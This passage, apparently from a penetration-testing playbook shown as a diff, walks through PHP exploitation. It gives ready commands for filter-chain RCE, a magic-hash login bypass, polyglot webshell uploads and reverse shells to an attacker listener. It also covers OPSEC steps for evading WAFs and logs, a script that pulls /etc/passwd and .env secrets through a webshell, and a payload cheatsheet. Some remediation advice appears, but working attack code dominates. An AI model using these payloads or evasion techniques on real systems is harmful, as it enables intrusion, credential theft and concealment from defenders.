# 8. Upgrade to reverse shell
|
|
836
|
+
pwncat-cs -lp $LPORT &
|
|
837
|
+
REVSHELL="bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"
|
|
838
|
+
CHAIN=$(python3 php_filter_chain_generator.py \
|
|
839
|
+
--chain "<?php system('$REVSHELL'); ?>" | tail -1)
|
|
840
|
+
curl -g "$TARGET/?template=$CHAIN"
|
|
841
|
+
```
|
|
842
|
+
|
|
843
|
+
---
|
|
844
|
+
|
|
845
|
+
### Scenario 3: Custom PHP App — Type Juggling Auth Bypass + File Upload RCE
|
|
846
|
+
|
|
847
|
+
**Context:** Custom PHP login portal. Source code partially leaked via `.php.bak` file. Login checks `md5($password) == $storedHash`. After login, file upload restricted to images but only checks extension.
|
|
848
|
+
|
|
849
|
+
```bash
|
|
850
|
+
# 1. Download the leaked source
|
|
851
|
+
curl $TARGET/login.php.bak -o login.php.bak
|
|
852
|
+
grep -i "md5\|==\|strcmp" login.php.bak
|
|
853
|
+
# Found: if (md5($password) == $row['password_hash'])
|
|
854
|
+
|
|
855
|
+
# 2. Check stored hash — extract via another vuln or find in DB dump
|
|
856
|
+
# Hash starts with "0e" — magic hash attack applies
|
|
857
|
+
# Example stored hash: 0e462097431906509019562988736854
|
|
858
|
+
|
|
859
|
+
# 3. Any MD5 "0e..." input will bypass — use known magic string
|
|
860
|
+
curl -c cookies.txt -d "username=admin&password=240610708" \
|
|
861
|
+
-L $TARGET/login.php
|
|
862
|
+
curl -b cookies.txt $TARGET/admin/ # Confirm access
|
|
863
|
+
|
|
864
|
+
# 4. Analyze upload handler
|
|
865
|
+
curl $TARGET/upload.php.bak -o upload.php.bak
|
|
866
|
+
grep -i "extension\|type\|mime\|move_uploaded" upload.php.bak
|
|
867
|
+
# Found: checks only file extension in original filename
|
|
868
|
+
|
|
869
|
+
# 5. Create PHP webshell disguised as image
|
|
870
|
+
cp /var/www/html/legit.jpg shell.php.jpg
|
|
871
|
+
# Or create a polyglot: valid JPEG header + PHP code
|
|
872
|
+
printf '\xff\xd8\xff\xe0' > shell.php.jpg
|
|
873
|
+
echo '<?php system($_GET["c"]); ?>' >> shell.php.jpg
|
|
874
|
+
|
|
875
|
+
# 6. Upload the file
|
|
876
|
+
curl -b cookies.txt \
|
|
877
|
+
-F "file=@shell.php.jpg;filename=shell.php.jpg;type=image/jpeg" \
|
|
878
|
+
$TARGET/admin/upload.php
|
|
879
|
+
|
|
880
|
+
# 7. Find upload directory and trigger
|
|
881
|
+
curl -b cookies.txt $TARGET/admin/upload.php -v | grep -i "upload\|path\|filename"
|
|
882
|
+
curl "$TARGET/uploads/shell.php.jpg?c=id"
|
|
883
|
+
# or if server doesn't execute .jpg:
|
|
884
|
+
# Rename via second request if upload allows it
|
|
885
|
+
curl "$TARGET/uploads/shell.php.jpg?c=cp+/var/www/html/uploads/shell.php.jpg+/var/www/html/uploads/shell.php"
|
|
886
|
+
curl "$TARGET/uploads/shell.php?c=id"
|
|
887
|
+
|
|
888
|
+
# 8. Full reverse shell
|
|
889
|
+
pwncat-cs -lp $LPORT &
|
|
890
|
+
curl "$TARGET/uploads/shell.php?c=bash+-c+'bash+-i+>%26+/dev/tcp/$LHOST/$LPORT+0>%261'"
|
|
891
|
+
```
|
|
892
|
+
|
|
893
|
+
---
|
|
894
|
+
|
|
895
|
+
## 9. Detection and OPSEC Considerations
|
|
896
|
+
|
|
897
|
+
### Forensic Artifacts Generated
|
|
898
|
+
|
|
899
|
+
| Technique | Artifacts Left | Mitigation |
|
|
900
|
+
|-----------|---------------|------------|
|
|
901
|
+
| Log poisoning | PHP code in log files | Clean up (if root), use short payloads |
|
|
902
|
+
| phpggc deserialization | Error logs with class names | Send to /dev/null, suppress errors |
|
|
903
|
+
| Filter chain RCE | Extremely long URLs in access logs | Use POST body, not GET |
|
|
904
|
+
| Webshell upload | File on disk with PHP code | Use weevely (encrypted channel), delete after |
|
|
905
|
+
| eval() injection | Raw PHP in request parameters | Base64 encode payload |
|
|
906
|
+
| LFI path traversal | `../../../../` in access logs | URL encode traversal sequences |
|
|
907
|
+
|
|
908
|
+
### OPSEC Best Practices
|
|
909
|
+
|
|
910
|
+
```bash
|
|
911
|
+
# 1. Use POST instead of GET for payloads — less likely to be in URL logs
|
|
912
|
+
curl -X POST -d "page=$(python3 php_filter_chain_generator.py --chain '<?php system($_POST["c"]); ?>' | tail -1)" \
|
|
913
|
+
-d "c=id" $TARGET/index.php
|
|
914
|
+
|
|
915
|
+
# 2. Suppress PHP errors to avoid detection in error logs
|
|
916
|
+
# Prefix payload with @ or use error_reporting(0)
|
|
917
|
+
<?php error_reporting(0); system($_GET['c']); ?>
|
|
918
|
+
|
|
919
|
+
# 3. Use time-based blind execution for maximum stealth
|
|
920
|
+
# — sends no output, only delays response
|
|
921
|
+
<?php if(isset($_GET['t'])) { sleep(5); } ?>
|
|
922
|
+
# Measure response time vs baseline
|
|
923
|
+
|
|
924
|
+
# 4. Encode payloads to avoid WAF signature matching
|
|
925
|
+
# Hex encoding
|
|
926
|
+
<?php system(hex2bin('6964')); ?> # 'id' in hex
|
|
927
|
+
|
|
928
|
+
# Base64 decoding
|
|
929
|
+
<?php system(base64_decode('aWQ=')); ?>
|
|
930
|
+
|
|
931
|
+
# Variable variable technique
|
|
932
|
+
<?php $_=base64_decode('c3lzdGVt'); $_($_GET['c']); ?>
|
|
933
|
+
|
|
934
|
+
# 5. Delete webshells immediately after use
|
|
935
|
+
curl "$TARGET/shell.php?c=rm+/var/www/html/uploads/shell.php"
|
|
936
|
+
|
|
937
|
+
# 6. Rotate payload delivery — use different parameters, vary User-Agent
|
|
938
|
+
curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" \
|
|
939
|
+
$TARGET/vulnerable.php?cmd=id
|
|
940
|
+
|
|
941
|
+
# 7. Test from redirected/proxied IP if engagement allows
|
|
942
|
+
# Use Burp as proxy: --proxy http://127.0.0.1:8080
|
|
943
|
+
|
|
944
|
+
# 8. Time attacks during high-traffic periods to blend into logs
|
|
945
|
+
|
|
946
|
+
# 9. For deserialization — use fast-destruct to minimize exception traces
|
|
947
|
+
./phpggc -f -b Laravel/RCE6 system 'id'
|
|
948
|
+
```
|
|
949
|
+
|
|
950
|
+
### Signs You've Been Detected
|
|
951
|
+
|
|
952
|
+
- WAF 403/406 responses after payload delivery
|
|
953
|
+
- Rate limiting (429) on parameter fuzzing
|
|
954
|
+
- Your IP blocked mid-engagement
|
|
955
|
+
- PHP error page changes (errors suppressed suddenly)
|
|
956
|
+
- IDS alert — SOC contacts engagement lead
|
|
957
|
+
|
|
958
|
+
---
|
|
959
|
+
|
|
960
|
+
## 10. Output and Documentation
|
|
961
|
+
|
|
962
|
+
### Evidence Collection Template
|
|
963
|
+
|
|
964
|
+
```bash
|
|
965
|
+
#!/bin/bash
|
|
966
|
+
# Run this immediately after achieving RCE
|
|
967
|
+
|
|
968
|
+
OUTDIR="./evidence/php-exploit-$(date +%Y%m%d-%H%M%S)"
|
|
969
|
+
mkdir -p $OUTDIR
|
|
970
|
+
|
|
971
|
+
# Basic system info
|
|
972
|
+
curl "$TARGET/shell.php?c=id" > $OUTDIR/01-id.txt
|
|
973
|
+
curl "$TARGET/shell.php?c=hostname" > $OUTDIR/02-hostname.txt
|
|
974
|
+
curl "$TARGET/shell.php?c=uname+-a" > $OUTDIR/03-uname.txt
|
|
975
|
+
curl "$TARGET/shell.php?c=cat+/etc/passwd" > $OUTDIR/04-passwd.txt
|
|
976
|
+
curl "$TARGET/shell.php?c=ip+a" > $OUTDIR/05-network.txt
|
|
977
|
+
curl "$TARGET/shell.php?c=ps+aux" > $OUTDIR/06-processes.txt
|
|
978
|
+
curl "$TARGET/shell.php?c=cat+/var/www/html/.env" > $OUTDIR/07-env.txt
|
|
979
|
+
curl "$TARGET/shell.php?c=find+/var/www+-name+config.php" > $OUTDIR/08-configs.txt
|
|
980
|
+
|
|
981
|
+
echo "Evidence collected in $OUTDIR"
|
|
982
|
+
```
|
|
983
|
+
|
|
984
|
+
### Finding Report Fields
|
|
985
|
+
|
|
986
|
+
```
|
|
987
|
+
FINDING: PHP Remote Code Execution via [Technique]
|
|
988
|
+
SEVERITY: Critical
|
|
989
|
+
CVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
|
|
990
|
+
|
|
991
|
+
AFFECTED ENDPOINT: POST /api/restore-session
|
|
992
|
+
AFFECTED PARAMETER: token (PHP deserialized object)
|
|
993
|
+
PHP VERSION: 7.4.x
|
|
994
|
+
FRAMEWORK: Laravel 8.x
|
|
995
|
+
|
|
996
|
+
PROOF OF CONCEPT:
|
|
997
|
+
Command: ./phpggc -b Laravel/RCE6 system 'id'
|
|
998
|
+
Delivery: curl -d "token=<PAYLOAD>" http://target.com/api/restore-session
|
|
999
|
+
Result: uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
|
1000
|
+
|
|
1001
|
+
SCREENSHOT/LOG: [attach evidence files]
|
|
1002
|
+
|
|
1003
|
+
REMEDIATION:
|
|
1004
|
+
- Replace unserialize() with json_decode() for user-supplied data
|
|
1005
|
+
- If deserialization required: implement HMAC signature verification
|
|
1006
|
+
- Update framework and dependencies to latest versions
|
|
1007
|
+
- Disable dangerous PHP functions: disable_functions=exec,system,passthru,shell_exec,proc_open,popen
|
|
1008
|
+
- Enable open_basedir restriction
|
|
1009
|
+
```
|
|
1010
|
+
|
|
1011
|
+
### Note-Taking During Engagement
|
|
1012
|
+
|
|
1013
|
+
```bash
|
|
1014
|
+
# Log all commands with timestamps
|
|
1015
|
+
script -f /tmp/php_exploit_$(date +%Y%m%d).log
|
|
1016
|
+
|
|
1017
|
+
# Keep a quick findings file
|
|
1018
|
+
cat >> findings.md << EOF
|
|
1019
|
+
## PHP Exploit - $(date)
|
|
1020
|
+
- Target: $TARGET
|
|
1021
|
+
- Technique:
|
|
1022
|
+
- Parameter:
|
|
1023
|
+
- Payload:
|
|
1024
|
+
- Result:
|
|
1025
|
+
- Evidence:
|
|
1026
|
+
EOF
|
|
1027
|
+
```
|
|
1028
|
+
|
|
1029
|
+
---
|
|
1030
|
+
|
|
1031
|
+
## 11. Resources and GitHub URLs
|
|
1032
|
+
|
|
1033
|
+
### Core Tools
|
|
1034
|
+
|
|
1035
|
+
| Tool | URL | Use Case |
|
|
1036
|
+
|------|-----|----------|
|
|
1037
|
+
| phpggc | https://github.com/ambionics/phpggc | PHP gadget chains for deserialization |
|
|
1038
|
+
| php_filter_chain_generator | https://github.com/synacktiv/php_filter_chain_generator | LFI to RCE without file write |
|
|
1039
|
+
| pwncat-cs | https://github.com/calebstewart/pwncat | Reverse shell handler + post-exploitation |
|
|
1040
|
+
| weevely | https://github.com/epinna/weevely3 | Encrypted PHP webshell management |
|
|
1041
|
+
| PayloadsAllTheThings | https://github.com/swisskyrepo/PayloadsAllTheThings | Payload repository for all techniques |
|
|
1042
|
+
| SecLists | https://github.com/danielmiessler/SecLists | Wordlists for fuzzing |
|
|
1043
|
+
|
|
1044
|
+
### Technique-Specific References
|
|
1045
|
+
|
|
1046
|
+
| Resource | URL |
|
|
1047
|
+
|----------|-----|
|
|
1048
|
+
| PHP Filter Chain Research (Synacktiv) | https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it |
|
|
1049
|
+
| PHP Object Injection (OWASP) | https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection |
|
|
1050
|
+
| PHP Type Juggling (PentesterLab) | https://pentesterlab.com/exercises/php_type_juggling |
|
|
1051
|
+
| Magic Hashes Table | https://github.com/spaze/hashes |
|
|
1052
|
+
| LFI to RCE Techniques | https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion |
|
|
1053
|
+
| Phar Deserialization Research | https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf |
|
|
1054
|
+
| WordPress Gadget Chains | https://github.com/ambionics/phpggc/tree/master/gadgetchains/WordPress |
|
|
1055
|
+
| PHPGGC Chain Development Guide | https://github.com/ambionics/phpggc/blob/master/CONTRIBUTING.md |
|
|
1056
|
+
|
|
1057
|
+
### CVE References for Framework Vulnerabilities
|
|
1058
|
+
|
|
1059
|
+
```
|
|
1060
|
+
CVE-2018-15133 — Laravel RCE via APP_KEY deserialization
|
|
1061
|
+
CVE-2019-9081 — Laravel RCE via Illuminate Queue
|
|
1062
|
+
CVE-2021-21424 — Symfony RCE via unserialize
|
|
1063
|
+
CVE-2019-6339 — Drupal RCE via PHAR deserialization
|
|
1064
|
+
CVE-2014-4942 — WordPress object injection via widget settings
|
|
1065
|
+
CVE-2020-8840 — Jackson (Java, but concept applies) deserialization RCE
|
|
1066
|
+
SA-CORE-2019-003 — Drupal core deserialization (highly weaponized)
|
|
1067
|
+
```
|
|
1068
|
+
|
|
1069
|
+
### PHP INI Settings That Enable/Restrict Attacks
|
|
1070
|
+
|
|
1071
|
+
```ini
|
|
1072
|
+
; Enables RFI attacks:
|
|
1073
|
+
allow_url_include = On ; Required for http:// and ftp:// in include()
|
|
1074
|
+
allow_url_fopen = On ; Required for file_get_contents() with URLs
|
|
1075
|
+
|
|
1076
|
+
; Restricts RCE potential:
|
|
1077
|
+
disable_functions = exec,system,shell_exec,passthru,proc_open,popen,pcntl_exec
|
|
1078
|
+
open_basedir = /var/www/html ; Restricts file access to this path
|
|
1079
|
+
expose_php = Off ; Hides PHP version from headers
|
|
1080
|
+
|
|
1081
|
+
; Check these in phpinfo() or php.ini leakage:
|
|
1082
|
+
; If allow_url_include = On → RFI is possible
|
|
1083
|
+
; If disable_functions is empty → full RCE via system(), exec(), etc.
|
|
1084
|
+
; If open_basedir is empty → unrestricted LFI traversal
|
|
1085
|
+
```
|
|
1086
|
+
|
|
1087
|
+
### Quick Cheatsheet
|
|
1088
|
+
|
|
1089
|
+
```bash
|
|
1090
|
+
# LFI confirm
|
|
1091
|
+
curl "$TARGET/?page=../../../../etc/passwd"
|
|
1092
|
+
|
|
1093
|
+
# Source read via filter
|
|
1094
|
+
curl "$TARGET/?page=php://filter/convert.base64-encode/resource=config.php" | base64 -d
|
|
1095
|
+
|
|
1096
|
+
# Filter chain RCE
|
|
1097
|
+
python3 ~/tools/php_filter_chain_generator/php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'
|
|
1098
|
+
|
|
1099
|
+
# phpggc payload
|
|
1100
|
+
./phpggc -b Laravel/RCE6 system 'id'
|
|
1101
|
+
|
|
1102
|
+
# Log poison (Apache)
|
|
1103
|
+
curl -A '<?php system($_GET["c"]); ?>' $TARGET/
|
|
1104
|
+
curl "$TARGET/?page=/var/log/apache2/access.log&c=id"
|
|
1105
|
+
|
|
1106
|
+
# Type juggling bypass
|
|
1107
|
+
curl -d "pass=240610708" $TARGET/login.php
|
|
1108
|
+
|
|
1109
|
+
# strcmp bypass
|
|
1110
|
+
curl -d "pass[]=x" $TARGET/login.php
|
|
1111
|
+
|
|
1112
|
+
# Phar trigger
|
|
1113
|
+
curl "$TARGET/?file=phar:///var/www/html/uploads/evil.jpg"
|
|
1114
|
+
|
|
1115
|
+
# Webshell quickdeploy
|
|
1116
|
+
echo '<?php system($_GET["c"]); ?>' > s.php
|
|
1117
|
+
curl -F "file=@s.php" $TARGET/upload
|
|
1118
|
+
curl "$TARGET/uploads/s.php?c=id"
|
|
1119
|
+
```
|